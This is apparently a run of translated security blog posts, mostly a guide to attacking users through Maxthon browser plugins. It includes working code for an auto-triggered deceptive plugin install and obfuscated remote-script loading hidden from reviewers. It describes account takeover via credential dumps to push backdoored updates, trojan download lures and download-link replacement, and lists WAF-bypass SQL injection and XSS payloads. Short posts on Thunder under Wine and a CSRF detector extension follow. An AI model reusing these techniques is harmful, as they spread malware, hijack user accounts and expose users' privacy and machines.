        alret("Due to a site upgrade, the site now integrates a browser plugin for a better experience. Please install the xx plugin and refresh this page.");
    }
},1000)

Because of delay from page load and network, we set the check to run after 1 second. After 1 second it runs

if(typeof(plug_setup)!="function"){
    alret("Due to a site upgrade, the site now integrates a browser plugin for a better experience. Please install the xx plugin and refresh this page.");
}

If there is no global plug_setup function at that point, it runs the alert below and tells the user they have to install the plugin to visit.

0x1.1.2 Trick users into a semi-automatic install of a chosen plugin

If you send users to the plugin page and let them read the details and reviews before they install, the success rate drops a lot. It is also bad conversion. Don’t Make Me Think has this line: “Don’t make users think.” That is gospel for site design, and it works for attacks too. The less a user thinks, the more likely they walk the path you designed.

So I looked at the JavaScript on Maxthon’s plugin install page. The install API can run on any page. If an attacker puts that JavaScript on a page, Maxthon pops the same install dialog:

I tightened it a bit. The code:

var ERRORTEXT = 'Not Maxthon or version too low. <a href="http://www.maxthon.cn" target="_blank">Click here to get the latest Maxthon</a>'
function getInstallMessage(that, messagePack, type) {
    if (external.mxCall) {
        var packMxAttr = $(that).closest(messagePack);
        if (type === 'skin') {
            // browser framework version
            var frameVersion = external.mxCall('GetSkinFxVersion');
        }
        else if (type === 'app') {
            // browser framework version
            var frameVersion = external.mxCall('GetAppFxVersion');
            // remove once the next version ships --
            if (frameVersion === '1.0.0') {
                frameVersion = '1.0.1';
            }
            // -- remove once the next version ships
        }
        // plugin package framework version
        var packMxVersion = packMxAttr.attr('file_def');
        // plugin package url
        var packUrl = packMxAttr.attr('file_url');
        // plugin id
        var packId = packMxAttr.attr('file_id');
        installPack(frameVersion, packMxVersion, packUrl, type, packId);
    }
    else {
        resultPop.show('Browser mismatch', ERRORTEXT, 'OK');

    }
}
function installPack(frameVersion, packMxVersion, packUrl, type, packId) {
    var isInstall = returnIsInstall(frameVersion, packMxVersion);
    if (isInstall !== -1) {
        if (type === 'skin') {
            external.mxCall('InstallSkin', packUrl);
        }
        else if (type === 'app') {
            external.mxCall('InstallApp', packUrl);
        }
        getUser(packId);
    }
    else {
        resultPop.show('Browser mismatch', ERRORTEXT, 'OK');
    }
}
function returnIsInstall(frameVersion, packMxVersion) {
    var fvItem;
    var pvItem;
    var frameVersion = getVersionArr(frameVersion);
    var packMxVersion = getVersionArr(packMxVersion);
    // define the incrementing index.
    var i = 0;
    while (1) {
        fvItem = frameVersion[i];
        pvItem = packMxVersion[i];
        if (fvItem == null && pvItem == null) {
            return 0;
        }
        if (fvItem == null) {
            return -1;
        }
        if (pvItem == null) {
            return 1;
        }
        if (fvItem != pvItem) {
            var value = fvItem > pvItem ? 1 : -1
            return value;
        }
        i++;
    }
}
function getVersionArr(version) {
    var versionArr = version.split('.');
    for (var i = 0; i < versionArr.length; i++) {
        versionArr[i] = parseInt(versionArr[i], 10);
    };
    return versionArr;
}
function getUser(id) {
    $.ajax({
        type: 'GET',
        url: 'http://extension.maxthon.cn/common/ajax.php?id=' + id,
        data: 'data',
        dataType: 'json',
        success: function (data) {},
        error: function () {}
    });
}
$(document).delegate('#app-install', 'click', function (event) {
    event.preventDefault();
    event.stopPropagation();
    getInstallMessage(this, 'a[file_def]', 'app');
});

You can see the original from line 1256 to 1600 in http://extension.maxthon.cn/js/temp.js.

The entry point in this code is

$(document).delegate('#app-install', 'click', function (event) {
    event.preventDefault();
    event.stopPropagation();
    getInstallMessage(this, 'a[file_def]', 'app');
});

When the DOM with id app-install is clicked, it calls getInstallMessage, which calls installPack, which calls returnIsInstall and getUser. returnIsInstall calls getVersionArr.

The core is external.mxCall('InstallApp', packUrl); in installPack. You cannot call it directly, or the install fails. packUrl also has to be under http://extension.maxthon.cn, or the install fails. You have to submit the plugin to the Maxthon plugin platform first.

As I said, it only fires on a click of the app-install DOM. I am lazy, so I copied Maxthon’s HTML and hid it: <a id="app-install" style="display:none;" file_def="1.0.1" file_url="http://extensiondl.maxthon.cn/skinpack/20062150/1462330643.mxaddon" file_id="<?echo $view_id;?>">Install</a>. file_id is <?echo $view_id;?>. Looks like a Maxthon developer left the PHP unparsed, so it showed up as HTML. I could not be bothered to fix it, so I left it. Then I added $("#app-install").click(); after their code so it fires on its own.

Full site code:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Trick the user into installing a plugin</title>
    <script src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script>
</head>
<body>
    Trick the user into installing a plugin demo1
    <a id="app-install" style="display: none;" file_def="1.0.1" file_url="http://extensiondl.maxthon.cn/skinpack/20062150/1462330643.mxaddon" file_id="<?echo $view_id;?>">Install</a>
</body>
<script src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script>
<script>
    setTimeout(function(){
        if(typeof(plug_setup)!="function"){
            alert("Due to a site upgrade, the site now integrates a browser plugin for a better experience. Please install the xx plugin and open this page.");
            var ERRORTEXT = 'Not Maxthon or version too low. <a href="http://www.maxthon.cn" target="_blank">Click here to get the latest Maxthon</a>'
            function getInstallMessage(that, messagePack, type) {
                if (external.mxCall) {
                    var packMxAttr = $(that).closest(messagePack);
                    if (type === 'skin') {
                        // browser framework version
                        var frameVersion = external.mxCall('GetSkinFxVersion');
                    }
                    else if (type === 'app') {
                        // browser framework version
                        var frameVersion = external.mxCall('GetAppFxVersion');
                        // remove once the next version ships --
                        if (frameVersion === '1.0.0') {
                            frameVersion = '1.0.1';
                        }
                        // -- remove once the next version ships
                    }
                    // plugin package framework version
                    var packMxVersion = packMxAttr.attr('file_def');
                    // plugin package url
                    var packUrl = packMxAttr.attr('file_url');
                    // plugin id
                    var packId = packMxAttr.attr('file_id');
                    console.log(frameVersion, packMxVersion, packUrl, type, packId)
                    installPack(frameVersion, packMxVersion, packUrl, type, packId);
                }
                else {
                    resultPop.show('Browser mismatch', ERRORTEXT, 'OK');

                }
            }
            function installPack(frameVersion, packMxVersion, packUrl, type, packId) {
                var isInstall = returnIsInstall(frameVersion, packMxVersion);
                if (isInstall !== -1) {
                    if (type === 'skin') {
                        external.mxCall('InstallSkin', packUrl);
                    }
                    else if (type === 'app') {
                        external.mxCall('InstallApp', packUrl);
                    }
                    getUser(packId);
                }
                else {
                    resultPop.show('Browser mismatch', ERRORTEXT, 'OK');
                }
            }
            function returnIsInstall(frameVersion, packMxVersion) {
                var fvItem;
                var pvItem;
                var frameVersion = getVersionArr(frameVersion);
                var packMxVersion = getVersionArr(packMxVersion);
                // define the incrementing index.
                var i = 0;
                while (1) {
                    fvItem = frameVersion[i];
                    pvItem = packMxVersion[i];
                    if (fvItem == null && pvItem == null) {
                        return 0;
                    }
                    if (fvItem == null) {
                        return -1;
                    }
                    if (pvItem == null) {
                        return 1;
                    }
                    if (fvItem != pvItem) {
                        var value = fvItem > pvItem ? 1 : -1
                        return value;
                    }
                    i++;
                }
            }
            function getVersionArr(version) {
                var versionArr = version.split('.');
                for (var i = 0; i < versionArr.length; i++) {
                    versionArr[i] = parseInt(versionArr[i], 10);
                };
                return versionArr;
            }
            function getUser(id) {
                $.ajax({
                    type: 'GET',
                    url: 'http://extension.maxthon.cn/common/ajax.php?id=' + id,
                    data: 'data',
                    dataType: 'json',
                    success: function (data) {},
                    error: function () {}
                });
            }
            $(document).delegate('#app-install', 'click', function (event) {
                event.preventDefault();
                event.stopPropagation();
                getInstallMessage(this, 'a[file_def]', 'app');
            });
            $("#app-install").click();
        }
    },1000);
</script>
</html>

After you open it:

The LoL match-history plugin is one I uploaded earlier (do not install it). In a real attack you would pick a less silly name, like “site enhancement tool”.

At first I wanted to try clickjacking, so the plugin could install without the user noticing. The installer is not in the page, so you cannot hijack it. I dropped that.

That is the page that makes the user think as little as possible. Publish it and wait for someone to take the bait. You can combine this with a watering-hole in an APT and aim it at a specific group or person.

0x1.2 Wait passively

This is the wide net. Use it when you have no specific group or person, and you just want to attack or research.

A few tricks. When a developer uploads a plugin, Maxthon reviewers look at it. Harmful code does not get through. Looks fine at first glance, but there is no follow-up.

No periodic automated scan of plugin code

Even a mini-game can request the highest privileges in def.json

When there is enough code, the developer can encrypt and pack the code that harms user requests and slip it past reviewers. (To quote the great people’s leader Chairman Mao: struggle against rules, and the joy is endless. Struggle against code, and the joy is endless. Struggle against people, and the joy is endless.)

The plugin can load third-party JavaScript. The third-party URL can point at any domain. There is no check that the URL or the JS file is trusted.

With those issues, we can write a plugin that harms the user and still get past review.

In the plugin source base.js we write

//xxxxx other extraneous code
var script = document.createElement('script');
script.src = "http://your-domain/javascript-filename.js";
document.body.appendChild(script);
//xxxxx other extraneous code

If you are not comfortable with that, you can encrypt it into something like:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"": e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29): c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o 7=["\\e\\c\\g\\b\\a\\9","\\c\\g\\6\\8\\9\\6\\q\\h\\6\\j\\6\\f\\9","\\e\\g\\c","\\m\\9\\9\\a\\t\\i\\i\\d\\n\\j\\8\\b\\f\\i\\l\\8\\s\\8\\e\\c\\g\\b\\a\\9\\r\\b\\h\\6\\f\\8\\j\\6\\u\\l\\e","\\8\\a\\a\\6\\f\\d\\w\\m\\b\\h\\d","\\x\\n\\d\\v"];o k=p[7[1]](7[0]);k[7[2]]=7[3];p[7[5]][7[4]](k)',34,34,'||||||x65|_0|x61|x74|x70|x69|x63|x64|x73|x6E|x72|x6C|x2F|x6D|script|x6A|x68|x6F|var|document|x45|x66|x76|x3A|x2E|x79|x43|x62'.split('|'),0,{}))

The method: first run the normal JavaScript through javascriptobfuscator and get:

var _0x67c5=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x64\x6F\x6D\x61\x69\x6E\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x66\x69\x6C\x65\x6E\x61\x6D\x65\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];var script=document[_0x67c5[1]](_0x67c5[0]);script[_0x67c5[2]]= _0x67c5[3];document[_0x67c5[5]][_0x67c5[4]](script)

As in:

That still looks a bit suspicious… so run it through Chinaz and turn it into the usual packed form:

Looks much more normal. Buried in a lot of other code, reviewers will have a hard time finding it (and they will not look that hard).

After you submit, the Maxthon plugin homepage shows recently updated plugins. Each week, add or delete a little code and push an update. Your plugin stays on the homepage year-round, and it is hard not to get installs.

0x1.3 Take over a plugin author’s account via a credential dump

This is my favorite. I have to admit, getting something for nothing feels great.

Maxthon does not require a key to update a plugin the way Chrome does, so this “logic bug” exists. There is no check that the current user is the author, which is why this method works.

I joined the Maxthon plugin author group: 203339427

Most people in there are plugin developers. Take their emails and QQ numbers, look them up in a credential dump, and try the passwords. You often do not know which email the author used, so try QQ Mail first. It says the account or password is wrong, and you cannot tell which. Go to Maxthon account center - forgot password and enter the QQ email. If it says the username does not exist, search the web for the author’s other emails and try those (for many of the accounts I tested, I had to search for another email). I submitted this as a vulnerability to WooYun, and Maxthon did not really respond. I wanted to log into another user’s account to demonstrate it, but WooYun was down at the time, so I could not see my old report. I also did not keep a copy of the accounts and passwords from the dump. They only lived in the WooYun report. So here I will use my own account as the example:

There is an Update file action. Download the package, plant a backdoor in the JavaScript, and upload it again. That is 1000+ users under control. The second review of a plugin is even looser.

When you open Maxthon, it checks whether your plugins are up to date. If not, it silently installs the latest version in the background. That helps us a lot. After we push an update, we only need the user to reopen Maxthon for the attack to land.

When you update, treat the account as your own, and write the 0x1.2 code into it. That is enough.

0x1.4 Control third-party JavaScript loaded by a plugin

This one is more work. There are two ways to get the third-party JavaScript, depending on the case:

No visible page

Has a visible page

0x1.4.1 No visible page

Like I said above, in the plugin def.json:

"actions": [{
    "type": "script",
    "entryPoints": [
        "doc_onload"
    ],
    "js": [
        "base.js"
    ],
    "include": ["*"],
    "includeFrames": true
}]

Then in base.js load the third-party JavaScript:

var script = document.createElement('script');
script.src = "http://119.29.58.242/control.js";
document.body.appendChild(script);

For this kind, download the plugin, then decrypt it with Maxthon’s official MxPacker. First look at which JavaScript file the js field under action in def.json points to, then analyze that. You can also search file contents with other tools for the keyword document.createElement.

After you find it, the rest is grunt work: break into the site that hosts that third-party JavaScript, then change the file.

0x1.4.2 Has a visible page

This is a bit easier than 0x1.4.1. The snippet changduanduan posted on zone lists every third-party JavaScript on the page:

for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++){
  var a = document.createElement('a');
  a.href = tag.src||tag.href||tag.data;
  if(a.hostname!=location.hostname){
    console.warn(location.hostname+' found third-party resource ['+tag.localName+']:'+a.href);
  }
}

Usage:

When you use it, some plugins load their own JavaScript, or JavaScript from Baidu, 360, and other third-party sites that are hard to break into. That is when it gets slow and painful.

0x1.4.3 Summary of controlling third-party JavaScript loaded by a plugin

This method is tedious. Pros:

Hard to detect

Hard to trace back

Drawbacks:

Time-consuming

Low success rate

Use this when you are targeting one person or group, you only know the names of the plugins they installed, and you have no other option.

0x2 Hidden APIs

Some APIs return fairly private data, so Maxthon left them out of the API docs. They still exist. On a normal page, open Inspect, go to Console, type external, and you can see some of Maxthon’s hidden APIs.

There is another set that only exists on plugin pages. Plugin APIs change in almost every version. Here is the 3.x API:

maxthon.system.Utility.getMacAddresses() // get the user's MAC address
maxthon.system.GraphicsEnvironment.getLocalGraphicsEnvironment().getAvailableFontFamilyNames() // get all of the user's current fonts
maxthon.system.GraphicsEnvironment.getLocalGraphicsEnvironment().getSystemFontName() // the font the user is currently using
maxthon.io.File.createTempFile().name_ // get the user's temp directory
maxthon.io.File.createTempFile().isFile // check whether the name_ file exists, but here I cannot reset the value of name_

Here is the latest 4.x API:

Maxthon split the old functions and objects off the maxthon object into other places (they are still there, I do not know why)

mx.app.getAvatar()    // get the currently logged-in user's avatar (data: image/png;base64 format)
mx.app.login()    // check whether the user is logged into Maxthon (returns true if logged in, false if not)
mx.app.getProfile()    // get the user's current state (whether logged in, uid, username)
mx.app.getSystemLocale()    // get the system language (e.g. zh-cn)
mx.app.showUserPanel()    // show the user menu (equivalent to clicking the avatar in the top-left)
// the code above requires running mx.app.user() and mx.app.locale() first

clientInformation.plugins     // plugins the browser supports (you can see which software the user has installed)
clientInformation.mimeTypes    // list the supported applications (you can see which software the user has installed)

Screenshots of the last two APIs:

Put this in a plugin and listing the software a user has installed is trivial. There is basically no privacy left.

0x3 Attack vectors

We will skip the usual cookie stealing and cover something else.

Everything above is about attacking the user through a browser plugin, but the attack surface is still the browser. Who wouldn’t want to go further and take over the machine? The rough ideas:

Pop a dialog saying they need to download software, which is actually a trojan

Attack with a browser vulnerability

Replace download links

0x3.1 Pop a dialog to trick users into downloading software

This step is simple. Just a bit of JavaScript:

(function(){    // closure, to prevent variable pollution
    alert("Please download the xxx security plugin to stay safe on this site");
    location.href = "http://baidu.com/download/xxxx.exe";
})()

You cannot keep popping the download, or people will get suspicious. A tighter version:

(function(){    // closure, to prevent variable pollution
    var downDate = new Date();  // get the current time
    var downDateY = String(downDate).split(" ")[3]; // year
    var downDateM = String(downDate).split(" ")[1]; // month
    var downDateD = String(downDate).split(" ")[2]; // day
    var downDateT = String(downDate).split(" ")[4].split(":");  // time
    if(location.href != "https://baidu.com/"){  // if it is not Baidu, do not run the code below
        return fasle;
    }
    if(downDateY == "2016" && downDateM == "Oct" && downDateD == "28" && downDateT[0] == "21" && downDateT[1] < "30"){
        alert("Please download the xxx security plugin to stay safe on this site");
        location.href = "http://baidu.com/download/xxxx.exe";
    }
})()

Do not write it the way I did in a real payload. I wrote it this way because the logic is simple, but the code is long. The meaning: if the current site is https://baidu.com/, then check whether the time is between 9:00 PM and 9:30 PM on 28 Oct 2016. If it is, pop the dialog and make the user download the trojan.

0x3.2 Attack with a browser vulnerability

You have to find the bugs yourself. I will not go further here. You can read Blast’s book Browser Security. You can also look at Hei Ge’s earlier PPT, “The browsers we crossed last year”. Maxthon already had an issue with mxCall on a privileged origin that let you run arbitrary commands. Dig around. You will find surprises.

0x3.3 Replace download links

For replacement, first collect a few high-traffic download sites. A few I listed:

ZOL Downloads - free and portable software

Skycn download site

Onlinedown software park

hao123 download site

PConline download center

Baidu software center

There are many more. I will not list them all here. Next we write the JavaScript that replaces links on these download sites. First, a snippet that checks whether the current URL is a download site

(function(){
    var downloadWebsite = [
        'http://xiazai.zol.com.cn',
        'http://www.skycn.com',
        'http://www.onlinedown.net',
        'http://dl.pconline.com.cn',
        'http://rj.baidu.com'
    ];  // download-site URLs to replace
    var replaceDownloadUrl = "http://xxxx.com/download/soft.rar";   // the software to swap in
    switch(location.origin){  // check the current URL to see whether it is a download site; if so, enter its handler
        case downloadWebsite[0]:
            var download1 = document.getElementById("downloadTop");
            var download2 = document.querySelectorAll(".down-alink a");
            var download3 = document.querySelectorAll(".down-alink01 a");
            if(download1 != null && download2.length != 0 && download3.length != 0){
                download1.href = replaceDownloadUrl;
                for(var j = 0;j < download2.length;j++){
                    download2[j].href = replaceDownloadUrl;
                }
                for(var k = 0;k < download3.length;k++){
                    download3[k].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[1]:
            var download1 = document.querySelectorAll(".ul_Address li a");
            if(download1.length != 0){
                for(var j = 0;j < download1.length;j++){
                    download1[j].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[2]:
            var download1 = document.querySelectorAll(".softinfoBox .meg a");
            var download2 = document.querySelectorAll(".downDz a");;
            if(download1.length != 0 && download2.length != 0){
                download1[0].href = replaceDownloadUrl;
                for(var j = 0;j < download2.length;j++){
                    download2[j].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[3]:
            var download1 = document.querySelectorAll(".dlLinks-a a");
            if(download1.length != 0){
                for(var j = 0;j < download1.length;j++){
                    download1[j].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[4]:
            var download1 = document.querySelectorAll(".fast_download");
            var download2 = document.querySelectorAll(".normal_download");
            if(download1.length != 0 && download2.length != 0){
                download1[0].href = replaceDownloadUrl;
                download2[0].href = replaceDownloadUrl;
            }
        break;
    }
})()

0x3.4 Change Baidu ranking

If you want SEO, you can use this:

(function(){
    if(location.origin == "https://www.baidu.com" && location.pathname == "/s"){    // when it is a Baidu search page
        document.querySelectorAll("#content_left h3 a")[0].href = "http://360.cn/"; // replace the first search result with the given URL
    }
})()

0x3.4 Intranet sniffing

This method needs more space, so I will cover it in the next chapter. Below is getting the intranet IP with WebRTC:

var ipList = [];
var webrtcxss = {
    webrtc        : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1];
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr]    = true;
            }
        };
        pc.createDataChannel("");
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp        : function(){
        this.webrtc(function(ip){
            console.log(ip)
        });
    }
}
webrtcxss.getIp();

You can take this and think about more interesting uses.

0x4 Closing

There are many more APIs and attack methods waiting to be found. What I can do is open a new attack surface, so we are not stuck with the methods we already know.

How to log in to Thunder under Debian

bh@bugs.cc (Kevin Cui) — Wed, 24 Aug 2016 05:08:47 GMT

Intro

Today I saw someone share the movie “Now You See Me 2” on Qzone.

mongoose has been annoying me these past few days, and I wanted to watch a movie to relax, but I still have to write code, so I figured I would download the movie and watch it after the bug was fixed. So here comes the problem.

Download Thunder

Maybe it is a regional thing, but Thunder from the official site is very slow, so I used Baidu Manager to download it. fuck me down XunLei

Setup

Just use Wine to run the exe. I will not cover that here. Look it up on Baidu yourself.

Install notes

Do not use sudo wine Thunder_9.0.12.332_baidu.exe. Use wine Thunder_9.0.12.332_baidu.exe, or Thunder will be installed under the root user.

How to launch

After Thunder is installed, it puts a shortcut on your desktop. If it does not, do what I did:

cd ~/.wine/drive_c/Program\ Files\ $x86$/Thunder\ Network/Thunder9/Program/
wine Thunder.exe

Then it started successfully.

Like this:

Why is there a black window?

The black window is a browser, Thunder’s bundled XBrowser. My guess is it is a DLL issue. When I have time, I will find a Windows machine and see which DLLs this browser depends on. The browser does not matter. You can still download without it.

Login

Here is the important part. When you click login, it asks for the account and password.

You will notice that the string you type does not show. Don’t panic. It is like typing a password in a Linux terminal. You did type it, it is just invisible. Then you can log in. But sometimes a captcha box shows up.

Then you find, annoyingly, that the captcha has gone to shit. So now we solve that. Think about how a captcha works. When I click “Can’t see it, get another”, it must send a packet, then return a new captcha packet. We only need to intercept that data. I used Wireshark to capture packets.

To install Wireshark on Debian, add the Kali repos, then sudo apt-get update&&sudo apt-get install wireshark is enough. Remember to run it with sudo wireshark.

My interface here is wlan0. Yours may differ. Pick the one that looks right.

Then you will see a lot of packets.

At this point, in Filter, enter http&& http contains "image/jpeg"

Then open Thunder and log in. When the captcha shows up, switch back to Wireshark and look.

Select it (click once so the background turns blue).

Then File->Export Objects->HTTP

Select the one whose address is verify2.xunlei.com and whose Content Type is image/jpeg, then save as xx.jpg.

Use the captcha to log in.

Notes on bypassing WAFs (Web Application Firewalls)

bh@bugs.cc (Kevin Cui) — Sat, 20 Aug 2016 11:04:31 GMT

0×01 Intro

This talk is mainly about a way of thinking, not handing you ready-made code.

In many people’s eyes a WAF (Web Application Firewall) is another word for “shameless”. Without it, our “world” might be a nicer place. Too bad. Without it, how would the big sites survive. That said, I am on your side, so today we talk about bypassing WAFs. I called it a ramble because this talk also goes into webkit, nginx&apache, and more. Let’s get started :)

0x02 Facing WAF

As the first section, a few simple ways to bypass a WAF.

1. Case swapping

The name says it: uppercase to lowercase, lowercase to uppercase. For example:

SQL: sEleCt vERsIoN();
‍‍XSS: <sCrIpt>alert(1)</script>

Why it works: the WAF regex is incomplete, or it never lowercases / uppercases.

2. Junk-character pollution

Nulls, spaces, TAB/newlines, comments, special functions, and so on. For example:

SQL: sEleCt+1-1+vERsIoN   /*!*/       ();`yohehe‍‍
‍‍SQL2: select/*!*/`version`();
XSS: covered in detail in the next section

3. Character encoding

Encode some of the characters. Common SQL encodings: unicode, HEX, URL, ASCII, base64. XSS encodings: HTML, URL, ASCII, JS encoding, base64, and so on

SQL: load_file(0x633A2F77696E646F77732F6D792E696E69)
‍‍‍‍XSS: <script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>

Why it works: use the browser’s base conversion or language encoding rules to bypass the WAF.

4. Piecing together

If some string is filtered, we put a piece of the original string on both sides of it.

SQL: selselectect verversionsion();
‍‍‍‍XSS: <scr<script>rip>alalertert</scr</script>rip>

Why it works: the WAF is incomplete. It only checks the string once, or the filtered string is not complete.

The point of this section: a WAF always has holes. Nothing is perfect.

0x03 Bypassing WAF from the WebKit angle

Someone might ask: we’re talking about bypassing WAFs, why WebKit? Yes, you read that right, I’m not crazy. The reason to talk about WAF bypass from the WebKit angle is that the browser is what parses the code. Who in the browser does the parsing? WebKit. And once you’re in WebKit, you have to talk about its parser, the lexer, because that is what we abuse for the bypass.

A simple XSS that bypasses a WAF:

<iframe src="java script: alert(1)" height=0 width=0 /><iframe>  It pops an alert. Why can it pop an alert? There is a carriage return and a line break in there. To see why, look at how WebKit declares this in Source/javascriptcore/parser/lexer.cpp.

while (m_current != stringQuoteCharacter) {
    if (UNLIKELY(m_current =='\\')) {
        if (stringStart != currentSourcePtr() && shouldBuildStrings)
            append8(stringStart, currentSourcePtr() - stringStart);
        shift();
        LChar escape = singleEscape(m_current);
        if (escape) {
            if (shouldBuildStrings)
                record8(escape);
            shift();
        } else if (UNLIKELY(isLineTerminator(m_current)))
            shiftLineTerminator();

Look at isLineTerminator on the second-to-last line. Roughly: everything lives in one string, while walks it character by character, and a line break is skipped. Then it is stitched into a string with no separator, so this XSS pops. Besides line breaks, what else does the WebKit lexer skip?

Confucius said: carriage returns and other separators too.

From the WebKit lexer, we can write dirtier XSS.

One more caveat:

<iframe src="java
script:alert(1)" height=0 width=0 /><iframe>  <!-- this one can pop an alert -->
<iframe src=java
script:alert(1); height=0 width=0 /><iframe>  <!-- this one cannot pop an alert -->

In the WebKit lexer, skipping carriage returns, line breaks, and other separators has a precondition: they must be wrapped in single or double quotes, or they are not skipped. Without quotes, the lexer treats the carriage return / line break as the end. If you run the snippet above, WebKit passes java to src as the URL. Skipping only happens inside quotes. Remember that. One more thing:

Carriage returns and line breaks only work inside quoted attribute values. If you put a carriage return or line break on the tag or the attribute name, you can relax: it will definitely not pop. Inside the attribute value, use them as you like. A space in the XSS will not pop, but a space between a character and a symbol will. See:

Note: Skipping carriage returns and line breaks does not work on on* events. For example <a href="java script:alert(1)">xss</a> pops, but the next one does not.

<a href="#" onclick="aler t(1)">s</a> Add a Tab and it will not pop. Spaces between a character and a symbol still work. The point of this section: if you want to play better, go down to the bottom layer. Look at the attack from there, and a lot of problems fall apart.

0x04 Bypassing WAF with an Nginx&Apache environment bug

This bug is pretty lame. You need an nginx&apache setup, and a sloppy admin. It is a bug that isn’t really a bug. When the site uses Nginx in front and Apache behind, the conf has to hand PHP-suffix requests to Apache. Nginx decides whether the suffix is PHP from the URL. If the URL suffix is not PHP, it will not hand PHP to Apache. Config:

Looks fine at first glance. There is a hole here.

I put an index.php under the test directory:

Use the nginx&apache bug, plus the browser hiding the index.php filename by default, and here is the hole. Visit a.cn/test/index.php?text=<script>alert(1)</script> and it will not pop. waf.conf blocked it.

Visit a.cn/test/?text=<script>alert(1)</script> and it pops. waf.conf did not block it, because nginx judged from the URL that this is not a php file, did not hand it to apache, and never hit the third location.

The point of this section: you don’t have to aim at the WAF the whole time. You can bypass it through a hole in the environment or a third party.

0x05 Starting from the HTTP packet

Some sites put the WAF on the client. burp or fiddler is enough. A lot of the time it looks like this:

<input type="text" name="text">
<input type="submit" onclick="waf()">

The WAF rules live in js. Submit a woaini string, intercept with burp or fiddler, rewrite the packet, resend. Client-side WAF gone.

Some sites do not filter crawlers from Baidu, google, soso, 360, and so on. Forge USER-Agent as a search-engine crawler and you bypass the waf.
Some sites use _REQUEST to take get post cookie. If the WAF only filters GET POST, you can put the attack in the cookie of the packet and bypass the waf.
Some WAFs filter GET POST COOKIE. You can still bypass. How? If the site shows your IP or your browser, you can craft IP and user-agent. In PHP, both X_FORWARDED_FOR and HTTP_CLIENT_IP can be spoofed. For more, see: http://www.freebuf.com/articles/web/42727.html section 0x06. The point of this section: the WAF is dead, people are alive. Open the thinking. Don’t follow the WAF’s path. Walk your own. That is the right way.

0x06 WAF, you ain’t shit

A lot of people think bypassing a WAF means playing by the WAF’s rules. We can ignore it and attack anyway. We attack through a third-party plugin. Plugins have a lot of privilege, and they can cross origin. Ship js in the plugin ahead of time. After they install it, every site they visit is XSS’d. Look at a Maxthon plugin:

def.json

test.js:

Put them in one folder, run Mxpacke.exe, get a Maxthon plugin.

Double-click to install.

This is not a vulnerability. A plugin has to run js, and XSS is exactly running the js you specify on a site. So this xss cannot be fixed, and chrome, Firefox, and the rest all have it.

Automated CSRF detection (part 2)

bh@bugs.cc (Kevin Cui) — Thu, 23 Jun 2016 15:49:34 GMT

0x00 Intro

The previous post only sketched the idea and the flow. This one goes into how to actually detect CSRF. Why no extension in the last post? False positives were high, and it could not detect Referer checks. This chapter focuses on “how to detect whether the other side checks Referer”. As far as I know, this is the first tool that detects Referer checks (shameless grin). Today I found that Tencent already shipped a similar product in 2013 (awkward…), but the approach and implementation are different. This chapter is Referer detection. Part 3 will strengthen token detection, aiming for 80-90%+ success (I actually forgot to write that while writing part 2, so it got pushed to part 3…). And Tencent’s product does not have these.

0x01 A few small changes

The previous black/white lists:

var placeholderFilterKeyword = ['跳','搜','查','找','登陆','注册','search'];  // useless-form blacklist, used to check whether this form is useful (input-based check); these keywords match Chinese form placeholder text
var actionFilterKeyword = ['search','find','login','reg'];   // useless-form blacklist, used to check whether this form is useful (form-action-based check)
}

The current black/white lists:

var placeholderFilterKeyword = ['跳','搜','查','找','登陆','注册','search'];
var actionFilterKeyword = ['search','find','login','reg',"baidu.com","google.com","so.com","bing.com","soso.com","sogou.com"];

This code largely decides the extension’s false-positive rate. You can change it until it feels right.

New init variables:

var actionCache,actionPath;
var actionvParameter = "";
var ajaxParameter = "";

0x02 Extension layout

Maxthon’s APIs are too thin. Without those APIs I cannot do Referer detection, so I am not writing a Maxthon version of the CSRF extension. Chrome extension layout:

icons holds the extension icons. I am lazy, so I reused the AutoFindXSS icons.

background.html lets us change the extension’s scope so we control it, and can use the jquery plugin from Chrome APIs.

background.js is the “backend”, like a server. It handles data from base.js.

base.js runs after the site loads. For Referer detection, it sends data to background.js.

manifest.json is the core Chrome extension file. It configures the extension.

manifest.json:

{
  "background": {
    "page": "background.html",
    "persistent": true
  },
  "name": "AutoFindCSRF",
  "version": "1.0.0",
  "manifest_version": 2,
  "description": "CSRF[by:Black-Hole&158099591@qq.com]",
  "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
  "permissions": [
    "<all_urls>","tabs"
  ],
